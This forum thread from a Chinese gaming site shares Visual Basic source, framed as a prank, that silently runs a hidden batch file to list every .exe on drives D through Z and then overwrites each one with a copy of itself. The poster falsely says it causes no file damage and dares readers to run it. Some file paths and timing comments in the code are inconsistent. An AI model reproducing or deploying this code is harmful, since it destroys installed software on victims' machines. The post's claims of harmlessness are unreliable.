您好，欢迎来中华游戏网！请登录立即注册
一键打卡🔥 龙鳞魔堡 金豆锻造 荣誉胸章 海底寻宝 非诚勿扰 虚拟刮奖 杂货道具 好友印象 首页弹幕 中华银行 家族部落 积分兑换 图片上传 图片压缩 在线翻译 在线查毒
发表新帖 回帖
返回列表
第一页12尾页页码:1/2
UID 81013
十方破沙羅

发帖: 1866 2 粉丝: 0
铜币: 85
龙鳞: 17.2
伴侣: 单身贵族
家族: CYW TEAM
经验:
Lv9

精灵:
  • 13魔堡金豆
  • 112闪耀金条
  • 438元气能量
  • 1600超凡耐力
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
猥琐兼淫荡的十方终于出手了。哈哈哈。、猪八戒。猪 ..
[道具][倒序][只看他][屏蔽签名|屏蔽头像] 🪜楼主

一段要人命的vb代码

中华游戏网 cnyouw写于:中华游戏网-cnyouw 👦会员:十方破沙羅 🕘时间:2010-09-13 03:00 👀围观:34102人 💬回复:13人

             -----------------------------------------------声明---------------------------------------------------------------
如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next '容错句
If Dir("c:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 '打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据
Close #1 '关闭文件
Sleep 200 '延时200秒等待文件生成（主要为了慢机器）
Shell "c:\a.bat", 0 '隐藏运行之
End If
Sleep 60000 '延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 '读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉
Next
End Sub



PS:
其实我也不懂编代码..
不过这个嘛...我只能说...人生在世.害人二字....
虽然是这样说..但至少不会让你重装系统..
玩玩而已的东西...
  中华游戏网 cnyouw.cn中华游戏网 cnyouw
SIGNATURE
评分选定 举报
回复 引用
UID 44312
无挂不dnf

发帖: 1134 粉丝: 0
铜币: 1109 龙鳞: 106.6
伴侣: 单身贵族
家族: 水神殿丶
经验:
Lv7

精灵:
  • 93魔堡金豆
  • 18闪耀金条
  • 38元气能量
  • 325超凡耐力
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜沙发
这个是。。。格式化的吧！
SIGNATURE
Twercies.N.Chirs
评分选定 举报
回复 引用 评分
UID 424116
曾经俺很瘦

发帖: 9493 粉丝: 0
铜币: 6509 龙鳞: 93.5
伴侣: 单身贵族
家族: 水神殿丶
经验:
Lv14

精灵:
  • 182魔堡金豆
  • 193闪耀金条
  • 713元气能量
  • 3279超凡耐力
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
是金子，在哪里都会发光；是人才，在哪里都要YD！！ ..
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜板凳
看不懂看懂也不试
SIGNATURE
评分选定 举报
回复 引用 评分
UID 223099
ewqewq163
发帖: 52 粉丝: 0
铜币: 90 龙鳞: 88
金条: 0
能量: 0
耐力: 9
经验:
Lv2

精灵:
  • 88魔堡金豆
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜宅3楼
...看的似懂非懂...- -不理解这个干什么用滴
SIGNATURE
世界教育了我们欺骗，犯罪还冠冕堂皇的说河蟹
评分选定 举报
回复 引用 评分
UID 138610
╰凹凸ㄨ曼)

发帖: 3681 4 粉丝: 0
铜币: 1504 龙鳞: 102
伴侣: 单身贵族
家族: 水神殿丶
经验:
Lv11

精灵:
  • 99魔堡金豆
  • 12闪耀金条
  • 18元气能量
  • 383超凡耐力
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
裸体超人 ....、欢乐雷人恶搞区活跃 ..
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜腐4楼
反正不会要我命
SIGNATURE
评分选定 举报
回复 引用 评分
UID 216231
qinchoudaoti
发帖: 135 粉丝: 0
铜币: 405 龙鳞: 88
能量: 0
耐力: 48
经验:
Lv3

精灵:
  • 88魔堡金豆
  • 0闪耀金条
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜宅5楼
看不懂，要不你再给来个讲解吧
SIGNATURE
开心每一天
评分选定 举报
回复 引用 评分
UID 35036
流星落
发帖: 1788 粉丝: 0
铜币: 88 龙鳞: 97.1
伴侣: 单身贵族
家族: 水神殿丶
经验:
Lv9

精灵:
  • 88魔堡金豆
  • 3闪耀金条
  • 641元气能量
  • 318超凡耐力
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
☆上帝之遗弃之仔的幻影``。
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜腐6楼
话说恶搞的VB代码我只会写自动关机的
没学VB编程
SIGNATURE
评分选定 举报
回复 引用 评分
UID 68139
飞翔の卡米

发帖: 16089 21 粉丝: 4
铜币: -19594
龙鳞: 492.7
伴侣: 芒果の沙拉
家族: 水神殿丶
经验:
Lv15

精灵:
  • 261魔堡金豆
  • 234闪耀金条
  • 296元气能量
  • 2008超凡耐力
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
记得 有时间过来逛逛~~、游神，记得常回来看看、我觉 ..
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜宅7楼
YD的十方，你自己试过没
SIGNATURE
评分选定 举报
回复 引用 评分
UID 81013
十方破沙羅

发帖: 1866 2 粉丝: 0
铜币: 85
龙鳞: 17.2
伴侣: 单身贵族
家族: CYW TEAM
经验:
Lv9

精灵:
  • 13魔堡金豆
  • 112闪耀金条
  • 438元气能量
  • 1600超凡耐力
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
猥琐兼淫荡的十方终于出手了。哈哈哈。、猪八戒。猪 ..
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜腐8楼
回 7楼(被游街の神) 的帖子
我只能说..这段代码不会造成文件损坏..不会让你重装系统..
你敢做勇敢的小白鼠吗?

另外..为什么总要在我名字前面加上YD二字呢?其实我很单纯的...
SIGNATURE
评分选定 举报
回复 引用 评分
UID 238858
wang0899

发帖: 1372 粉丝: 0
铜币: 131 龙鳞: 90.6
伴侣: 单身贵族
家族: 无门无派
经验:
Lv7

精灵:
  • 88魔堡金豆
  • 0闪耀金条
  • 4元气能量
  • 373超凡耐力
🔓登录解锁详细资料
  
🌺鲜花 0 0 鸡蛋🥚
🕘时间: 2010-10-06[只看他][屏蔽签名|屏蔽头像] 🪜宅9楼
顶一个,谢谢分享,学习了!
SIGNATURE
中华游戏网 — 玩你所玩，乐你所乐！cnyouw.cn
评分选定 举报
回复 引用 评分
第一页12尾页页码:1/2
发表新帖 回帖
 中华游戏网 » 电脑技术交流
快速
验证问题:
我们网站的域名是什么？ 正确答案:

Ctrl + Enter 快速发布
为防止个别捣乱会员恶意灌水
注册会员发帖量达到 10 贴
即可解锁快捷表情发送